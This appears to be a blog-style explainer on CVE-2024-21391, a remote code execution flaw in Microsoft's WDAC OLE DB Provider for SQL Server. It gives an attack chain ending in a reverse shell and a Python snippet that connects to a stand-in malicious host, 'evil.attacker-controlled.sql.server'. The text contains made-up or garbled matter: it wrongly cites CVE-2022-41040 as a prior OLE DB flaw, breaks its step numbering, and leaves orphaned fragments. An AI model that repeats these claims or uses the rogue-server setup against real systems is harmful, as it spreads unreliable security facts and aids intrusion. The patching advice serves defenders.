CVE-2024-21391 - Microsoft WDAC OLE DB Provider for SQL Server Remote Code Execution Vulnerability Explored

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Microsoft’s security bulletins often include complex, high-value bugs, but CVE-2024-21391 stands out as a straightforward way attackers can target enterprise environments. In this deep dive, you’ll get a clear, exclusive explanation of how this WDAC OLE DB Provider Remote Code Execution vulnerability works, how you might exploit it, and how to stay safe.

What Is CVE-2024-21391?

CVE-2024-21391 is a Remote Code Execution (RCE) vulnerability in the Microsoft Windows Data Access Components (WDAC) OLE DB provider for SQL Server. If successfully exploited, this flaw lets an attacker run code of their choice on the target machine—potentially taking over business-critical systems or move laterally across the network.

Technical Summary

The WDAC OLE DB Provider (SQLOLEDB.DLL) allows Windows applications to talk to SQL Server databases. If an attacker can trick a legitimate application into connecting to a malicious SQL Server or leverage a compromised SQL server, the attacker can use specially crafted data or responses to execute code on the application’s host computer.

Let’s walk through a hypothetical attack chain

1. Phishing or Social Engineering: An attacker convinces someone in your company to use an app (e.g., a custom Access application or a report) that fetches data from a SQL server you don’t fully control.

Malicious SQL Server: The attacker sets up a rogue SQL Server.

3. Exploit Trigger: The attacker’s SQL Server sends back a crafted response that causes a memory corruption or logic flaw in WDAC OLE DB’s code parsing network results.
4. Remote Code Execution: The exploit payload runs, creating a reverse shell or running malware with the privileges of the app or even higher if context allows.

Where's The Vulnerable Code?

While Microsoft hasn't released full technical details, prior OLE DB vulnerabilities (like CVE-2022-41040) were often in how network communications or special data types (such as multi-part queries or extended stored procedures) are parsed.

To illustrate, here’s an example snippet of code that could potentially be used by an attacker to trigger the vulnerable behavior. _Note: This is for educational purposes, and may not exactly reflect the internal trigger for this CVE, as Microsoft is secretive about exact internals:_

# Example: Using python to connect via OLE DB (exploitable context)

import win32com.client

# Attacker supplies the crafted (malicious) server address
server = 'evil.attacker-controlled.sql.server'
user = 'testuser'
password = 'Password123'
database = 'master'

# Typical OLEDB connection string
conn_str = f'Provider=SQLOLEDB;Data Source={server};Initial Catalog={database};User ID={user};Password={password};'

# This connection may trigger the exploit if the remote server is malicious
conn = win32com.client.Dispatch('ADODB.Connection')
conn.Open(conn_str)

# Now, anything fetched from this connection (even automatically) could cause the attack to succeed.

> Tip: Any client application (not just python, but also Excel, Access, or custom C++ or .NET programs) that supports OLE DB and lets the user pick server addresses may be vulnerable.

The attacker controlling or man-in-the-middling a SQL Server connection.

- Sending unexpected results or data packets, often exploiting bugs in memory handling (heap overwrites, buffer overflows, etc).

Find official Microsoft patches here:

MSRC CVE-2024-21391 Update Guide

References and Further Reading

- Microsoft Security Advisory (CVE-2024-21391)
- Microsoft Data Access Components documentation
- WDAC and OLE DB architecture
- General OLE DB Attack Surface
- CISA Known Exploited Vulnerabilities

Conclusion

CVE-2024-21391 is a wake-up call for anyone who uses Microsoft’s database connectivity tech. If unpatched, it can turn trusted business apps into dangerous backdoors for hackers. Keep your systems updated, restrict unexpected database connections, and monitor for suspicious activity to stay one step ahead.

Timeline

Published on: 02/13/2024 18:15:57 UTC
Last modified on: 02/13/2024 18:22:43 UTC